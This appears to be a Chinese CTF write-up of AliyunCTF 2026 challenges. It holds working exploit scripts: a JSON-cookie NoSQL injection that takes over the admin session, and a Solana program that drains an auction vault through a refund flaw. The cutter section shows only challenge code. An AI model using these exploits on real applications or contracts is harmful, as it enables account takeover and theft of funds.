目录

  1. 1. 前言
  2. 2. Easy Login
  3. 3. Misc - Auction
  4. 4. cutter

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

AliyunCTF2026

2026/1/31 CTF线上赛 MongoDB Rust
  |     |   总文章阅读量:

前言

参考:

https://xz.aliyun.com/news/91567

https://mp.weixin.qq.com/s/Xu8bmR0GWKhJX_NTHbdZtA


Easy Login

import dotenv from 'dotenv';
import express, { Request, Response, NextFunction } from 'express';
import cookieParser from 'cookie-parser';
import { MongoClient, Db, Collection } from 'mongodb';
import crypto from 'crypto';
import path from 'path';
import puppeteer from 'puppeteer';

dotenv.config();

const app = express();
const PORT = Number(process.env.PORT) || 3000;

const mongoUri = process.env.MONGO_URI || process.env.MONGO_URL || 'mongodb://127.0.0.1:27017/easy_login';
const dbName = process.env.MONGO_DB_NAME || 'easy_login';
const FLAG = process.env.FLAG || 'flag{dummy_flag_for_testing}';
const APP_INTERNAL_URL = process.env.APP_INTERNAL_URL || `http://127.0.0.1:${PORT}`;
const ADMIN_PASSWORD = crypto.randomBytes(16).toString('hex');

interface UserDoc {
  username: string;
  password: string;
}

interface SessionDoc {
  sid: string;
  username: string;
  createdAt: Date;
}

interface AuthedRequest extends Request {
  user?: { username: string } | null;
  collections?: {
    users: Collection<UserDoc> | null;
    sessions: Collection<SessionDoc> | null;
  };
}

let db: Db | null = null;
let usersCollection: Collection<UserDoc> | null = null;
let sessionsCollection: Collection<SessionDoc> | null = null;

const publicDir = path.join(__dirname, '../public');

async function runXssVisit(targetUrl: string): Promise<void> {
  if (typeof targetUrl !== 'string' || !/^https?:\/\//i.test(targetUrl)) {
    throw new Error('invalid target url');
  }

  const browser = await puppeteer.launch({
    headless: true,
    args: ['--no-sandbox', '--disable-setuid-sandbox']
  });

  try {
    const page = await browser.newPage();

    await page.goto(APP_INTERNAL_URL + '/', {
      waitUntil: 'networkidle2',
      timeout: 15000
    });

    await page.type('#username', 'admin', { delay: 30 });
    await page.type('#password', ADMIN_PASSWORD, { delay: 30 });

    await Promise.all([
      page.click('#loginForm button[type="submit"]'),
      page.waitForResponse(
        (res) => res.url().endsWith('/login') && res.request().method() === 'POST',
        { timeout: 10000 }
      ).catch(() => undefined)
    ]);

    await page.goto(targetUrl, { waitUntil: 'networkidle2', timeout: 15000 });

    await new Promise((resolve) => setTimeout(resolve, 5000));
  } finally {
    await browser.close();
  }
}

async function createSessionForUser(user: UserDoc): Promise<string> {
  if (!sessionsCollection) {
    throw new Error('sessions collection not initialized');
  }

  const sid = crypto.randomBytes(16).toString('hex');

  await sessionsCollection.insertOne({
    sid,
    username: user.username,
    createdAt: new Date()
  });

  return sid;
}

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(publicDir));

async function initMongo(): Promise<void> {
  const client = new MongoClient(mongoUri);
  await client.connect();
  db = client.db(dbName);
  usersCollection = db.collection<UserDoc>('users');
  sessionsCollection = db.collection<SessionDoc>('sessions');

  let adminUser = await usersCollection.findOne({ username: 'admin' });
  if (!adminUser) {
    await usersCollection.insertOne({
      username: 'admin',
      password: ADMIN_PASSWORD
    });
  } else {
    await usersCollection.updateOne(
      { username: 'admin' },
      { $set: { password: ADMIN_PASSWORD } }
    );
  }

  adminUser = await usersCollection.findOne({ username: 'admin' });
  console.log(`[init] Admin password set to: ${ADMIN_PASSWORD}`);
}

async function sessionMiddleware(req: AuthedRequest, res: Response, next: NextFunction): Promise<void> {
  const sid = req.cookies?.sid as string | undefined;
  if (!sid || !sessionsCollection || !usersCollection) {
    req.user = null;
    return next();
  }

  try {
    const session = await sessionsCollection.findOne({ sid });
    if (!session) {
      req.user = null;
      return next();
    }

    const user = await usersCollection.findOne({ username: session.username });
    if (!user) {
      req.user = null;
      return next();
    }

    req.user = { username: user.username };
    return next();
  } catch (err) {
    console.error('Error in session middleware:', err);
    req.user = null;
    return next();
  }
}

app.use((req: AuthedRequest, _res: Response, next: NextFunction) => {
  req.collections = {
    users: usersCollection,
    sessions: sessionsCollection
  };
  next();
});

app.use(sessionMiddleware as any);

app.get('/', (_req: AuthedRequest, res: Response) => {
  res.sendFile(path.join(publicDir, 'index.html'));
});

app.post('/login', async (req: AuthedRequest, res: Response) => {
  const { username, password } = req.body as { username?: unknown; password?: unknown };
  
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'username and password must be strings' });
  }

  if (!username || !password) {
    return res.status(400).json({ error: 'username and password required' });
  }

  if (!usersCollection) {
    return res.status(500).json({ error: 'Database not initialized yet' });
  }
  
  try {
    let user = await usersCollection.findOne({ username });

    if (!user) {
      if (username === 'admin') {
        return res.status(403).json({ error: 'admin user not available' });
      }
      await usersCollection.insertOne({ username, password });
      user = await usersCollection.findOne({ username });
    }

    if (!user || user.password !== password) {
      return res.status(401).json({ error: 'invalid credentials' });
    }

    const sid = await createSessionForUser(user);

    res.cookie('sid', sid, {
      httpOnly: false,
      sameSite: 'lax'
    });

    return res.json({
      ok: true,
      sid,
      username: user.username
    });
  } catch (err) {
    console.error('Error in /login:', err);
    return res.status(500).json({ error: 'internal error' });
  }
});

app.post('/logout', async (req: AuthedRequest, res: Response) => {
  res.clearCookie('sid');
  res.json({ ok: true });
});

app.get('/me', (req: AuthedRequest, res: Response) => {
  if (!req.user) {
    return res.json({ loggedIn: false });
  }
  res.json({
    loggedIn: true,
    username: req.user.username
  });
});

app.get('/admin', (req: AuthedRequest, res: Response) => {
  if (!req.user || req.user.username !== 'admin') {
    return res.status(403).json({ error: 'admin only' });
  }

  res.json({ flag: FLAG });
});
app.post('/visit', async (req: Request, res: Response) => {
  const { url } = req.body as { url?: unknown };

  if (typeof url !== 'string') {
    return res.status(400).json({ error: 'url must be a string' });
  }

  try {
    await runXssVisit(url);
    return res.json({ ok: true });
  } catch (err: any) {
    console.error('XSS bot error:', err);
    return res.status(500).json({ error: 'bot failed', detail: String(err) });
  }
});

initMongo()
  .then(() => {
    app.listen(PORT, () => {
      console.log(`Server listening on port ${PORT}`);
    });
  })
  .catch((err: unknown) => {
    console.error('Failed to initialize MongoDB:', err);
    process.exit(1);
  });

NoSQL 注入

cookie-parser 中间件未指定任何选项,因此默认启用 JSON cookie 解析。如果 cookie 值以 j: 开头,它会将后面的 JSON 字符串解析为一个对象

const cookieParser = require('cookie-parser');
const express = require('express');
const request = require('supertest');

const app = express();
app.use(cookieParser());

app.get('/', (req, res) => {
  res.json({ sid: req.cookies.sid, type: typeof req.cookies.sid });
});

async function test() {
  // Test normal cookie
  await request(app)
    .get('/')
    .set('Cookie', 'sid=123')
    .expect(200)
    .then(res => console.log('Normal:', res.body));

  // Test JSON cookie
  await request(app)
    .get('/')
    .set('Cookie', 'sid=j:{"$ne":"x"}')
    .expect(200)
    .then(res => console.log('JSON:', res.body));
}

test();
// Normal: { sid: '123', type: 'string' }
// JSON: { sid: { '$ne': 'x' }, type: 'object' }

在 server.ts 中,sid 变量是从 req.cookies.sid 中获取的。虽然 TypeScript 将其类型定义为 string | undefined,但如果 cookie 构造得当,运行时它可以是一个对象

然后,sid 直接传递给 sessionsCollection.findOne({ sid }) 查询

如果我们发送类似 sid=j:{"$ne":null} 的 cookie,MongoDB 查询将变为 db.sessions.findOne({ sid: { $ne: null } }),这个查询会查询到 session 中的第一个会话,即管理员会话

那么就能以管理员身份访问了

exp.py

import requests
import time

BASE_URL = "http://223.6.249.127:31728"


def get_flag():
    # Step 1: Trigger the bot to create an admin session
    print("[*] Triggering bot login...")
    try:
        requests.post(f"{BASE_URL}/visit",
                      json={"url": "http://example.com/"},
                      timeout=5)
    except:
        pass  # Ignore potential timeout or errors, we just need the login to happen

    # Wait a moment for the bot to ensure login
    time.sleep(2)

    # Step 2: Send request with malicious JSON cookie
    # Encoded value for j:{"$ne":"x"}
    # We can send it raw or URL encoded. requests handles it.

    # Cookie value: j:{"$ne":"x"}
    cookies = {"sid": 'j:{"$ne":"x"}'}

    print("[*] Sending malicious cookie to /admin...")
    res = requests.get(f"{BASE_URL}/admin", cookies=cookies)

    if res.status_code == 200:
        print(f"[+] Flag found: {res.json().get('flag')}")
    else:
        print(f"[-] Failed. Status: {res.status_code}")
        print(res.text)


if __name__ == "__main__":
    get_flag()

Misc - Auction

if auction_state.ended == true
    && auction_state.settled == true
    && auction_state.highest_bidder == player.pubkey()
{
    writeln!(socket, "Auction ended! Here is your flag:")?;
    if let Ok(flag) = env::var("FLAG") {
        writeln!(socket, "flag: {:?}", flag)?;
    } else {
        writeln!(socket, "flag not found, please contact admin")?;
    }
    return Ok(());
}

服务端启动 Solana/Anchor 程序并初始化一场管理员拍卖(buy-now=10 SOL),随后加载选手的 solve 指令执行。flag 条件只有当管理员拍卖状态满足:

  • ended == true
  • settled == true
  • highest_bidder == player

选手资金初始不足以直接 10 SOL 结算,需要从系统或 vault 中弄钱

/// Place or raise a bid. Only a single deposit is locked up front.
/// If buy-now is reached, the auction ends immediately and an event is emitted.
pub fn place_bid(ctx: Context<PlaceBid>, bid_amount: u64) -> Result<()> {
    require!(bid_amount > 0, ErrorCode::InvalidBidAmount);
    let auction = &mut ctx.accounts.auction;

    let now = Clock::get()?.unix_timestamp;
    require!(
        !auction.ended && now < auction.end_time,
        ErrorCode::AuctionAlreadyEnded
    );
    require!(bid_amount >= auction.starting_bid, ErrorCode::BidTooLow);
    if auction.highest_bid > 0 {
        require!(
            bid_amount >= auction.highest_bid.saturating_add(auction.increment),
            ErrorCode::IncrementTooSmall
        );
    }

    // Pay deposit if required and not already paid.
    let bidder_state = &mut ctx.accounts.bidder_state;
    if !bidder_state.deposit_paid {
        system_transfer(
            CpiContext::new(
                ctx.accounts.system_program.to_account_info(),
                anchor_lang::system_program::Transfer {
                    from: ctx.accounts.bidder.to_account_info(),
                    to: ctx.accounts.vault.to_account_info(),
                },
            ),
            auction.deposit_amount,
        )?;
        bidder_state.deposit_paid = true;
        auction.deposit_count = auction
            .deposit_count
            .checked_add(1)
            .ok_or(ErrorCode::MathOverflow)?;
    }

    bidder_state.bidder = ctx.accounts.bidder.key();
    bidder_state.auction = auction.key();
    bidder_state.refunded = false;
    bidder_state.bump = ctx.bumps.bidder_state;

    // Update auction high bid.
    auction.highest_bid = bid_amount.min(auction.buy_now_price);
    auction.highest_bidder = ctx.accounts.bidder.key();

    // If buy-now reached, end immediately.
    if bid_amount >= auction.buy_now_price {
        auction.ended = true;
    }

    Ok(())
}

/// Losers reclaim their deposit (if any) after the auction ends.
pub fn claim_refund(ctx: Context<ClaimRefund>) -> Result<()> {
    let auction = &mut ctx.accounts.auction;
    require!(auction.ended, ErrorCode::AuctionNotEnded);
    require!(
        auction.highest_bidder != ctx.accounts.bidder.key(),
        ErrorCode::WinnerMustClaimViaWinnerPath
    );

    let bidder_state = &mut ctx.accounts.bidder_state;
    require!(!bidder_state.refunded, ErrorCode::AlreadyRefunded);
    require!(
        auction.deposit_amount == 0 || bidder_state.deposit_paid,
        ErrorCode::DepositNotPaid
    );
    require!(
        bidder_state.bidder == ctx.accounts.bidder.key(),
        ErrorCode::UnauthorizedBidderState
    );
    require!(
        bidder_state.auction == auction.key(),
        ErrorCode::WrongAuction
    );

    transfer_from_vault(
        &ctx.accounts.vault,
        &ctx.accounts.bidder.to_account_info(),
        auction.deposit_amount,
        &ctx.accounts.system_program,
        ctx.bumps.vault,
    )?;
    auction.deposit_count = auction.deposit_count.saturating_sub(1);
    bidder_state.refunded = true;
    Ok(())
}

只要 bidder_state.deposit_paid == false,就会从 bidder 向 vault 转押金
押金成功后仅修改 deposit_paid = true,并累加 auction.deposit_count
但在新拍卖中,同一 bidder_state 只要没被重建,就不会被重置

claim_refund 只校验:auction.ended == truebidder_state.deposit_paid == truebidder_state.refunded == falsebidder_stateauction/bidder 匹配

但没有校验该拍卖是否真的收过押金,也没有验证 deposit_count 是否对应实际转入

一旦 deposit_paid 在某次拍卖里被置为 true,后续新拍卖里同一 bidder_state 可跳过押金支付,但 claim_refund 仍允许从 vault 取回押金。

思路:

创建一个极小金额拍卖,分别让 player 和 exploit_pda 参与竞拍,使其 deposit_paid = true。
之后关闭拍卖,释放拍卖账户,但 bidder_state 保留

然后从 vault 抽 SOL,足够了之后直接结算管理员拍卖

lib.rs,用于生成 exploit.so

use anchor_lang::prelude::*;
use challenge::cpi::accounts::{
    ClaimRefund, ClaimWinner, CloseAuction, CreateAuction, PlaceBid,
};
use challenge::{self};

declare_id!("22222222222222222222222222222222222222222522");

#[program]
pub mod exploit {
    use super::*;

    pub fn solve(ctx: Context<Solve>) -> Result<()> {
        let bump = ctx.bumps.exploit_pda;
        ensure_exploit_pda_funded(&ctx, bump, 5_000_000)?;
        seed_deposit_flags(&ctx, bump)?;
        drain_vault(&ctx, bump, 1, 50 * LAMPORTS_PER_SOL, 51 * LAMPORTS_PER_SOL)?;
        win_admin_auction(&ctx)?;
        Ok(())
    }
}

const LAMPORTS_PER_SOL: u64 = 1_000_000_000;

#[inline(never)]
fn ensure_exploit_pda_funded(ctx: &Context<Solve>, bump: u8, lamports: u64) -> Result<()> {
    if ctx.accounts.exploit_pda.lamports() > 0 {
        return Ok(());
    }

    let seeds = &[b"exploit".as_ref(), &[bump]];
    let signer = &[&seeds[..]];

    let ix = anchor_lang::solana_program::system_instruction::create_account(
        &ctx.accounts.player.key(),
        &ctx.accounts.exploit_pda.key(),
        lamports,
        0,
        &ctx.accounts.system_program.key(),
    );
    anchor_lang::solana_program::program::invoke_signed(
        &ix,
        &[
            ctx.accounts.player.to_account_info(),
            ctx.accounts.exploit_pda.to_account_info(),
            ctx.accounts.system_program.to_account_info(),
        ],
        signer,
    )?;
    Ok(())
}

#[inline(never)]
fn seed_deposit_flags(ctx: &Context<Solve>, bump: u8) -> Result<()> {
    let (end_time, settlement_deadline) = auction_times()?;
    let exploit_seeds = &[b"exploit".as_ref(), &[bump]];
    let signer = &[&exploit_seeds[..]];

    // Tiny auction to set deposit_paid=true for both bidder states.
    let cpi_create = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        CreateAuction {
            auctioneer: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
    );
    challenge::cpi::create_auction(
        cpi_create,
        999,
        "seed".to_string(),
        2,
        1,
        1,
        end_time,
        settlement_deadline,
    )?;

    let cpi_bid_player = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        PlaceBid {
            bidder: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
    );
    challenge::cpi::place_bid(cpi_bid_player, 1)?;

    let cpi_bid_exploit = CpiContext::new_with_signer(
        ctx.accounts.challenge_program.to_account_info(),
        PlaceBid {
            bidder: ctx.accounts.exploit_pda.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
        signer,
    );
    challenge::cpi::place_bid(cpi_bid_exploit, 2)?;

    let cpi_refund_player = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        ClaimRefund {
            bidder: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
            bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
    );
    challenge::cpi::claim_refund(cpi_refund_player)?;

    let cpi_winner = CpiContext::new_with_signer(
        ctx.accounts.challenge_program.to_account_info(),
        ClaimWinner {
            winner: ctx.accounts.exploit_pda.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
            bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
            auctioneer: ctx.accounts.player.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
        signer,
    );
    challenge::cpi::claim_winner(cpi_winner)?;

    let cpi_close = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        CloseAuction {
            auctioneer: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.my_auction.to_account_info(),
        },
    );
    challenge::cpi::close_auction(cpi_close)?;
    Ok(())
}

#[inline(never)]
fn drain_vault(
    ctx: &Context<Solve>,
    bump: u8,
    rounds: u64,
    starting_bid: u64,
    buy_now: u64,
) -> Result<()> {
    let exploit_seeds = &[b"exploit".as_ref(), &[bump]];
    let signer = &[&exploit_seeds[..]];

    for _ in 0..rounds {
        let (end_time, settlement_deadline) = auction_times()?;

        let cpi_create = CpiContext::new(
            ctx.accounts.challenge_program.to_account_info(),
            CreateAuction {
                auctioneer: ctx.accounts.player.to_account_info(),
                auction: ctx.accounts.my_auction.to_account_info(),
                system_program: ctx.accounts.system_program.to_account_info(),
            },
        );
        challenge::cpi::create_auction(
            cpi_create,
            999,
            "drain".to_string(),
            buy_now,
            starting_bid,
            LAMPORTS_PER_SOL,
            end_time,
            settlement_deadline,
        )?;

        let cpi_bid_player = CpiContext::new(
            ctx.accounts.challenge_program.to_account_info(),
            PlaceBid {
                bidder: ctx.accounts.player.to_account_info(),
                auction: ctx.accounts.my_auction.to_account_info(),
                vault: ctx.accounts.vault.to_account_info(),
                bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
                system_program: ctx.accounts.system_program.to_account_info(),
            },
        );
        challenge::cpi::place_bid(cpi_bid_player, starting_bid)?;

        let cpi_bid_exploit = CpiContext::new_with_signer(
            ctx.accounts.challenge_program.to_account_info(),
            PlaceBid {
                bidder: ctx.accounts.exploit_pda.to_account_info(),
                auction: ctx.accounts.my_auction.to_account_info(),
                vault: ctx.accounts.vault.to_account_info(),
                bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
                system_program: ctx.accounts.system_program.to_account_info(),
            },
            signer,
        );
        challenge::cpi::place_bid(cpi_bid_exploit, buy_now)?;

        let cpi_refund_player = CpiContext::new(
            ctx.accounts.challenge_program.to_account_info(),
            ClaimRefund {
                bidder: ctx.accounts.player.to_account_info(),
                auction: ctx.accounts.my_auction.to_account_info(),
                bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
                vault: ctx.accounts.vault.to_account_info(),
                system_program: ctx.accounts.system_program.to_account_info(),
            },
        );
        challenge::cpi::claim_refund(cpi_refund_player)?;

        let cpi_close = CpiContext::new(
            ctx.accounts.challenge_program.to_account_info(),
            CloseAuction {
                auctioneer: ctx.accounts.player.to_account_info(),
                auction: ctx.accounts.my_auction.to_account_info(),
            },
        );
        challenge::cpi::close_auction(cpi_close)?;
    }
    Ok(())
}

#[inline(never)]
fn win_admin_auction(ctx: &Context<Solve>) -> Result<()> {
    let cpi_bid_final = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        PlaceBid {
            bidder: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.admin_auction.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            bidder_state: ctx.accounts.admin_bidder_state.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
    );
    challenge::cpi::place_bid(cpi_bid_final, 10 * LAMPORTS_PER_SOL)?;

    let cpi_winner = CpiContext::new(
        ctx.accounts.challenge_program.to_account_info(),
        ClaimWinner {
            winner: ctx.accounts.player.to_account_info(),
            auction: ctx.accounts.admin_auction.to_account_info(),
            bidder_state: ctx.accounts.admin_bidder_state.to_account_info(),
            auctioneer: ctx.accounts.admin.to_account_info(),
            vault: ctx.accounts.vault.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        },
    );
    challenge::cpi::claim_winner(cpi_winner)?;
    Ok(())
}

#[inline(never)]
fn auction_times() -> Result<(i64, i64)> {
    let now = Clock::get()?.unix_timestamp;
    let end_time = now + 1000;
    let settlement_deadline = end_time + 60 * 60 * 24 * 8;
    Ok((end_time, settlement_deadline))
}

#[derive(Accounts)]
pub struct Solve<'info> {
    /// CHECK: program
    pub challenge_program: AccountInfo<'info>, 
    /// CHECK: auction
    #[account(mut)]
    pub admin_auction: AccountInfo<'info>,
    /// CHECK: bidder_state
    #[account(mut)]
    pub admin_bidder_state: AccountInfo<'info>,
    pub system_program: Program<'info, System>,
    /// CHECK: vault (system account)
    #[account(mut)]
    pub vault: AccountInfo<'info>,
    #[account(mut)]
    pub player: Signer<'info>,
    /// CHECK: my_auction
    #[account(mut)]
    pub my_auction: AccountInfo<'info>,
    /// CHECK: my_bidder_state
    #[account(mut)]
    pub my_bidder_state: AccountInfo<'info>,
    /// CHECK: admin user
    #[account(mut)]
    pub admin: AccountInfo<'info>,
    
    /// CHECK: PDA signer
    #[account(
        mut,
        seeds = [b"exploit"], 
        bump
    )]
    pub exploit_pda: AccountInfo<'info>,
    /// CHECK: BidderState for Exploit (Mut)
    #[account(mut)]
    pub exploit_bidder_state: AccountInfo<'info>,
}

cargo build-sbf 编译

exp.py

import socket
import struct
import hashlib
import time
import sys
import base58


def is_on_curve(bytes_32):
    # Pure python Ed25519 point validation
    # p = 2^255 - 19
    p = 57896044618658097711785492504343953926634992332820282019728792003956564819949
    # d = -121665/121666
    d = 37095705934669439343138083508754565189542113879843219016388785533085940283555

    if len(bytes_32) != 32:
        return False

    y = int.from_bytes(bytes_32, "little")
    sign_bit = (y >> 255) & 1
    y &= (1 << 255) - 1

    if y >= p:
        return False

    # 0, 1 are valid. (0 off curve? x^2 = -1) -0^2 + 0^2 = 0. -1 off.
    # Actually checking x existence is enough.

    y2 = (y * y) % p
    u = (y2 - 1) % p
    v = (d * y2 + 1) % p

    # x^2 = u/v
    if v == 0:  # Undefined? But d*y^2 != -1 for valid y?
        return False

    # Calculate inverse of v
    v_inv = pow(v, p - 2, p)
    x2 = (u * v_inv) % p

    # Check if x2 is a quadratic residue
    if x2 == 0:
        return True  # x=0 point exists.

    # Euler's criterion: x2^((p-1)/2) == 1
    if pow(x2, (p - 1) // 2, p) != 1:
        return False

    return True


def find_program_address(seeds, program_id):
    for bump in range(255, -1, -1):
        ctx = hashlib.sha256()
        for s in seeds:
            ctx.update(s)
        ctx.update(bytes([bump]))
        ctx.update(program_id)
        ctx.update(b"ProgramDerivedAddress")
        hash_bytes = ctx.digest()
        # PDA is a valid address if it is NOT on curve
        if not is_on_curve(hash_bytes):
            return hash_bytes, bump
    raise Exception("No PDA found")


def get_sighash(name):
    return hashlib.sha256(name.encode()).digest()[:8]


def main():
    if len(sys.argv) > 1:
        HOST = sys.argv[1]
    else:
        HOST = '127.0.0.1'
    PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

    print(f"Connecting to {HOST}:{PORT}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    f = s.makefile('rb', buffering=0)

    # Handshake loop
    challenge_id = None
    solve_id = None
    admin_id = None
    player_id = None

    # 22222222222222222222222222222222222222222522
    my_program_id_str = "22222222222222222222222222222222222222222522"

    # Load exploit binary
    try:
        with open('exploit/target/deploy/exploit.so', 'rb') as bin_f:
            program_data = bin_f.read()
    except FileNotFoundError:
        # Fallback path if running from different dir
        with open('attachment_auction/exploit/target/deploy/exploit.so',
                  'rb') as bin_f:
            program_data = bin_f.read()

    while True:
        line = f.readline().strip().decode(errors='replace')
        print(f"S> {line}")

        if not line:
            break

        if "program pubkey:" in line:
            print(f"C> Sending program ID: {my_program_id_str}")
            s.sendall(my_program_id_str.encode() + b'\n')
            continue

        if "program len:" in line:
            # Server asks for length, then we send data
            print(f"C> Sending program len: {len(program_data)}")
            s.sendall(str(len(program_data)).encode() + b'\n')
            time.sleep(0.1)
            print(f"C> Sending program data ({len(program_data)} bytes)...")
            s.sendall(program_data)
            continue

        if line.startswith("Challenge:"):
            challenge_id = base58.b58decode(line.split(': ')[1])
        elif line.startswith("Exploit:"):
            # This should match our sent ID
            solve_id = base58.b58decode(line.split(': ')[1])
        elif line.startswith("Admin:"):
            admin_id = base58.b58decode(line.split(': ')[1])
        elif line.startswith("Player:"):
            player_id = base58.b58decode(line.split(': ')[1])
            # If we have all needed IDs, we can proceed
            break

    if not challenge_id:
        # Fallback for old behavior (client sends program first blindly)
        # But since we saw "program pubkey:", we handled it above.
        pass

    print("Meta gathered.")

    # We no longer need patching as we provided the ID

    # Calculate PDAs
    print("Calculating PDAs...")
    # admin_auction: [b"auction", admin, 1]
    auction_seed = b"auction"
    bidder_seed = b"bidder"
    vault_seed = b"vault"

    admin_auction, _ = find_program_address(
        [auction_seed, admin_id, struct.pack('<Q', 1)], challenge_id)
    # admin_bidder_state: [b"bidder", admin_auction, player]
    # NOTE: In our loop, we use OUR (player) bidder state on admin auction.
    admin_bidder_state, _ = find_program_address(
        [bidder_seed, admin_auction, player_id], challenge_id)

    vault, _ = find_program_address([vault_seed], challenge_id)

    # my_auction: [b"auction", player, 999]
    my_auction_id = 999
    my_auction, _ = find_program_address(
        [auction_seed, player_id,
         struct.pack('<Q', my_auction_id)], challenge_id)

    # my_bidder_state: [b"bidder", my_auction, player]
    my_bidder_state, _ = find_program_address(
        [bidder_seed, my_auction, player_id], challenge_id)

    # --- Exploit PDA Accounts ---
    # Exploit PDA: [b"exploit"]
    exploit_pda, _ = find_program_address([b"exploit"], solve_id)

    # Exploit Bidder State: [b"bidder", my_auction, exploit_pda]
    exploit_bidder_state, _ = find_program_address(
        [bidder_seed, my_auction, exploit_pda], challenge_id)

    system_program = b'\x00' * 31 + b'\x00'  # 1111... -> 000... (System program ID is all zeros in base58? NO. 1111... is zeros)
    # Actually System Program ID is 11111111111111111111111111111111
    # which decodes to 32 bytes of zeros.

    # Construct Solve Instruction
    # Accounts:
    # 0. challenge_program (Exec)
    # 1. admin_auction (Mut)
    # 2. admin_bidder_state (Mut)
    # 3. system_program
    # 4. vault (Mut)
    # 5. player (Signer, Mut)
    # 6. my_auction (Mut)
    # 7. my_bidder_state (Mut)
    # 8. admin (Mut) used for ClaimWinner

    accounts = [
        (
            False, False, challenge_id
        ),  # challenge_program (executable? No just account info passed to cpi context)
        (False, True, admin_auction),  # admin_auction (mut)
        (False, True, admin_bidder_state),  # admin_bidder_state (mut)
        (False, False, system_program),  # system_program
        (False, True, vault),  # vault (mut)
        (True, True, player_id),  # player (signer, mut)
        (False, True, my_auction),  # my_auction (mut)
        (False, True, my_bidder_state),  # my_bidder_state (mut)
        (False, True, admin_id),  # admin (mut)
    ]

    # Construct Solve Instruction
    # SERVER READS TEXT FORMAT!
    # Format:
    # "num accounts: "
    # <num: text> <newline>
    # <meta> <pubkey> <newline>
    # ...
    # "ix len: "
    # <len: text> <newline>
    # <data: bytes>

    accounts = [
        (False, False, challenge_id),  # challenge_program
        (False, True, admin_auction),  # admin_auction (mut)
        (False, True, admin_bidder_state),  # admin_bidder_state (mut)
        (False, False, system_program),  # system_program
        (False, True, vault),  # vault (mut)
        (True, True, player_id),  # player (signer, mut)
        (False, True, my_auction),  # my_auction (mut)
        (False, True, my_bidder_state),  # my_bidder_state (mut)
        (False, True, admin_id),  # admin (mut)
        (False, True, exploit_pda),  # exploit_pda 
        (False, True, exploit_bidder_state),  # exploit_bidder_state (mut)
    ]

    # Wait for "num accounts: "
    while True:
        chunk = s.recv(1024).decode(errors='replace')
        print(chunk, end='')
        if "num accounts: " in chunk:
            break

    print(f"C> Sending num accounts: {len(accounts)}")
    s.sendall(f"{len(accounts)}\n".encode())

    # Send accounts
    for is_signer, is_writable, pubkey in accounts:
        meta = ""
        if is_writable: meta += "w"
        if is_signer: meta += "s"
        if meta == "": meta = "-"  # Just something not empty

        pubkey_s = base58.b58encode(pubkey).decode()
        if pubkey_s == "":
            pubkey_s = "11111111111111111111111111111111"

        line = f"{meta} {pubkey_s}\n"
        print(f"C> Sending account: {line.strip()}")
        s.sendall(line.encode())

    # Wait for "ix len: "
    while True:
        chunk = s.recv(1024).decode(errors='replace')
        print(chunk, end='')
        if "ix len: " in chunk:
            break

    # Data: global:solve
    data = get_sighash("global:solve")
    print(f"C> Sending data len: {len(data)}")
    s.sendall(f"{len(data)}\n".encode())

    # Just to be safe with timing
    time.sleep(0.1)

    print(f"C> Sending data bytes...")
    s.sendall(data)

    print("Waiting for flag...")

    print("Waiting for flag...")
    while True:
        data = s.recv(4096)
        if not data: break
        print(data.decode(errors='replace'), end='')


if __name__ == '__main__':
    main()


cutter

要访问 /admin,就需要先获取 API_KEY

API_KEY = os.urandom(32).hex()
HOST = '127.0.0.1:5000'

@app.route('/action', methods=['POST'])
def action():
    ip = request.remote_addr
    if ip != '127.0.0.1':
        return 'only localhost', 403

    token = request.headers.get("X-Token", "")
    if token != API_KEY:
        return 'unauth', 403
    
    file = request.files.get('content')
    content = file.stream.read().decode()

    action = request.files.get("action")
    act = json.loads(action.stream.read().decode())

    if act["type"] == "echo":
        return content, 200
    elif act["type"] == "debug":
        return content.format(app), 200
    else:
        return 'unkown action', 400

@app.route('/heartbeat', methods=['GET', 'POST'])
def heartbeat():
    text = request.values.get('text', "default")
    client = request.values.get('client', "default")
    token = request.values.get('token', "")

    if len(text) > 300:
        return "text too large", 400

    action = json.dumps({"type" : "echo"})

    form_data = {
        'content': ('content', BytesIO(text.encode()), 'text/plain'),
        'action' : ('action', BytesIO(action.encode()), 'text/json')
    }

    headers = {
        "X-Token" : API_KEY,
    }
    headers[client] = token

    response = httpx.post(f"http://{HOST}/action", headers=headers, files=form_data, timeout=10.0)
    if response.status_code == 200:
        return response.text, 200
    else:
        return f'action failed', 500

